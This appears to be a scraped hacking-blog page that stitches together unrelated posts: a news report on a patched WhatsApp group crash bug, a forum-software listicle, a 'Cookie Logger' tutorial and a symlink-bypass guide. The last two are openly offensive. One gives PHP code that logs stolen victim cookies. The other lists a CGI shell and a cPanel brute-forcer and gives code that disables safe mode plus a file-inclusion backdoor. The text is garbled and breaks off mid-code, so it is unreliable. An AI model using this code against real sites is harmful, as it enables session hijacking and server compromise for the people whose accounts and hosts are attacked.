Super Critical Bug Fixed by Whats App , the bug could have let anyone crash Whats app of All Group Members

WhatsApp, the world's most popular end-to-end encrypted messaging application, patched an incredibly frustrating software bug that could have allowed a malicious group member to crash the messaging app for all members of the same group,

Just by sending a maliciously crafted message to a targeted group, an attacker can trigger a fully-destructive WhatsApp crash-loop, forcing all group members to completely uninstall the app, reinstall it, and remove the group to regain normal function.

Since the group members can't selectively delete the malicious message without opening the group window and re-triggering the crash-loop, they have to lose the entire group chat history, indefinitely, to get rid of it.

Discovered by researchers at Israeli cybersecurity firm Check Point, the latest bug resided in the WhatsApp's implementation of XMPP communication protocol that crashes the app when a member with invalid phone number drops a message in the group.

"When we attempt to send a message where the parameter 'participant' receives a value of 'null,' a 'Null Pointer Exception' is thrown," the researchers explain in a report shared with The Hacker News prior to its release.

"The parser for the participant's phone number mishandles the input when an illegal phone number is received. When it receives a phone number with a length, not in the ranger 5-20 or a non-digit character, it would read it as a 'null' string."

To be noted, the issue resided in both, WhatsApp for Android and iOS. But most importantly its swiftly works with Android. There are times wherein the attack does not reproduce in the case of iOS.

The attack requires a malicious group member to manipulate other parameters associated with messages in a conversation that is otherwise protected using end-to-end encryption.

In order to carry out this attack, an attacker can leverage WhatsApp Web and a web browser debugging tool in combination with an open source WhatsApp manipulation tool that Check Point released last year.

The WhatsApp manipulation tool is an extension for Burp Suite penetration testing software that allows users to intercept, decrypt, and re-encrypt their WhatsApp communication using their own encryption keys.

As shown in the video demonstration, the researchers used this setup to trigger the crash bug against all members of a group by simply replacing the participant's parameter from the sender's phone number to 'a@s.whatsapp.net,' an invalid non-digit phone number.

"The bug will crash the app, and it will continue to crash even after we reopen WhatsApp, resulting in a crash loop," the researchers say.

"Moreover, the user will not be able to return to the group and all the data that was written and shared in the group is now gone for good. The group cannot be restored after the crash has happened and will have to be deleted in order to stop the crash."

It should be noted that the attack would not affect the sender since the malicious message was injected in transit after it left the sender's device.

Check Point responsibly reported this crash bug to the WhatsApp security team back in late August this year, and the company patched the issue with the release of WhatsApp version 2.19.58 in mid-September.

The WhatsApp developers also "added new controls to prevent people from being added to unwanted groups to avoid communication with untrusted parties altogether."

"Because WhatsApp is one of the world's leading communication channels for consumers, businesses and government agencies, the ability to stop people using WhatsApp and delete valuable information from group chats is a powerful weapon for bad actors," Oded Vanunu, Check Point's Head of Product Vulnerability Research said.

"WhatsApp greatly values the work of the technology community to help us maintain strong security for our users globally. Thanks to the responsible submission from Check Point to our bug bounty program, we quickly resolved this issue for all WhatsApp apps in mid September," WhatsApp Software Engineer Ehren Kret told The Hacker News.

WhatsApp users are highly recommended to always keep their apps up-to-date in order to protect themselves against known attacks.

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Cookie Logger

Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary

|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |

Hi, Guys, Please a wonderfull tutorial provided bt Sem;\ Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods. So let's Get Started :) Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers. For This First You Need the Following Files : 1 -> Sen Haxor CGI Shell 2 -> sen.zip 3 -> passwd-bypass.php 4 -> Turbo Brute force Cpanel 5 - > Port.py First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server . Use the Following Code : Make a php.ini with the following code safe_mode=Off And ini.php with <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo

Hacks

Search This Blog